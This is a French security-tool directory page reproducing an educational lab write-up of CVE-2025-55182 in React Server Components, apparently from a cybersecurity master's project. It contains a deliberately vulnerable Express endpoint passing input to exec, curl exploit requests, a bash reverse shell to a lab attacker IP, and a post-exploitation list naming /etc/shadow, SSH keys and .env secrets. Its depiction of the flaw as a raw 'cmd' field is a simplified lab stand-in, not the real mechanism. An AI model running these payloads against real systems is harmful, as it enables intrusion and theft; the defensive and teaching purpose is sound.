Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-55182-analysis — Analyse de recherche en sécurité et d'exploitation de CVE-2025-55182 (React) — Mappage CVSS + OWASP Top 10 | Kitploit
Outils/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Analyse de recherche en sécurité et d'exploitation de CVE-2025-55182 (React) — Mappage CVSS + OWASP Top 10

Voir le dépôt
2il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 — Analyse de l'RCE des React Server Components

Analyse de vulnérabilité d'application web · M2 Cybersécurité · 2025 Auteur : Niane Mohamed · LinkedIn

Chaîne d'exploitation de bout en bout d'une vulnérabilité de désérialisation non sécurisée critique (CVSS 10.0) dans React Server Components, de la reconnaissance à l'exécution de code à distance non authentifiée, avec une feuille de route de remédiation complète.


⚠️ Avis de non-responsabilité éthique

Cette recherche cible une application de laboratoire délibérément vulnérable construite pour démontrer la CVE. Tous les tests ont eu lieu dans un réseau virtuel isolé sans connexion aux systèmes de production, aux données utilisateur réelles ou aux services tiers.

  • NE PAS exécuter ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
  • NE PAS déployer l'application vulnérable sur un réseau accessible depuis Internet.
  • Les principes de divulgation responsable s'appliquent — signalez toujours les résultats par des canaux coordonnés.

Table des matières

  1. Résumé de la vulnérabilité
  2. Versions concernées
  3. Environnement de laboratoire
  4. Procédure d'exploitation
  5. Évaluation de l'impact
  6. Remédiation
  7. Compétences démontrées

Résumé de la vulnérabilité

ChampValeur
CVECVE-2025-55182
ClasseDésérialisation non sécurisée → Exécution de code à distance
CVSS v3.110.0 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authentification requiseAucune
Interaction utilisateur requiseAucune
Vecteur d'attaqueRéseau (distant)
ComposantRuntime React Server Components (RSC)

Comment fonctionne la vulnérabilité

React Server Components a introduit un nouveau format de sérialisation pour diffuser les composants rendus par le serveur vers le client. Dans les versions vulnérables, le point de terminaison RSC accepte une charge utile JSON avec un champ cmd qui est passé non nettoyé à child_process.exec() dans le cadre de l'évaluation du rendu côté serveur.

Un attaquant peut envoyer une requête POST malveillante qui :

  1. Est acceptée comme une charge utile RSC légitime (pas d'authentification, pas de CSRF)
  2. Déclenche l'exécution de code côté serveur pendant le « rendu »
  3. S'exécute avec les privilèges du processus Node.js (souvent root dans les conteneurs)

Versions concernées

ComposantPlage vulnérableCorrigé dans
react19.0.0 → 19.2.019.3.0+
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+

Environnement de laboratoire

RôleSystème d'exploitationOutils
AttaquantKali Linux (dernière version)nmap, curl, netcat, OWASP ZAP, Firefox
CibleUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
RéseauVMware VMnet Host-OnlyAucune sortie Internet

Application cible

Un serveur Express + RSC minimal exposant un point de terminaison /rsc qui exécute de manière dangereuse les commandes de la charge utile entrante — reproduisant le modèle de vulnérabilité de la vraie CVE de manière contrôlée :

// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

Procédure d'exploitation

Phase 1 — Reconnaissance

# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

L'en-tête X-Powered-By: Express et le port inhabituel 3000 fournissent une forte empreinte indiquant qu'il s'agit d'une application Node.js — cohérente avec les déploiements RSC.

Phase 2 — Confirmation via commande bénigne

Avant de tenter quoi que ce soit de destructeur, validez la vulnérabilité avec une commande inoffensive :

curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Confirmé : RCE non authentifiée en tant que root. Le serveur s'exécute avec des privilèges sans contrainte.

Phase 3 — Shell inversé

Passer de l'exécution de commande unique à un shell interactif complet :

# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

Le récepteur reçoit :

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Phase 4 — Potentiel de post-exploitation (démontré, non exécuté)

Avec root sur la cible, un attaquant pourrait trivialement :

  • Lire /etc/shadow, les clés SSH, les secrets d'application, les fichiers .env
  • Installer une persistance (tâches cron, services systemd, implants de clés SSH)
  • Se déplacer latéralement via des informations d'identification découvertes
  • Déployer des cryptomineurs ou des ransomwares
  • Modifier l'application Node.js pour capturer les données utilisateur en silence

Évaluation de l'impact

Impact métier (scénario cible fictif)

AxeImpactExplication
ConfidentialitéCritiqueAccès en lecture complet à toutes les données du serveur
IntégritéCritiqueCapacité de modifier le code de l'application et les données utilisateur
DisponibilitéÉlevéeL'attaquant peut interrompre le service ou le prendre en otage
RéglementaireGraveViolation du RGPD/DSGVO avec divulgation obligatoire sous 72h · amende potentielle de 4% du chiffre d'affaires mondial
RéputationnelGraveUne faille mappée à une CVE publique nuit à la confiance des clients
FinancierÉlevéRéponse aux incidents, amendes réglementaires, éventuelle action collective

Profil de l'acteur menaçant

La faible complexité de cette attaque — pas d'authentification, pas d'interaction utilisateur, une seule requête HTTP — la rend attrayante pour :

  • Scanners opportunistes (botnets scannant automatiquement la CVE)
  • Courtiers d'accès initial vendant des points d'entrée à des groupes de ransomwares
  • Acteurs étatiques ciblant les organisations utilisant le rendu serveur React

Remédiation

Immédiate (dans les 24 heures)

  1. Mettre à jour React vers 19.3.0+ — version corrigée

    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. Règle WAF temporaire (si la mise à jour est retardée) :

    Block POST requests to /rsc with JSON body containing "cmd" field
    
Télécharger l’outil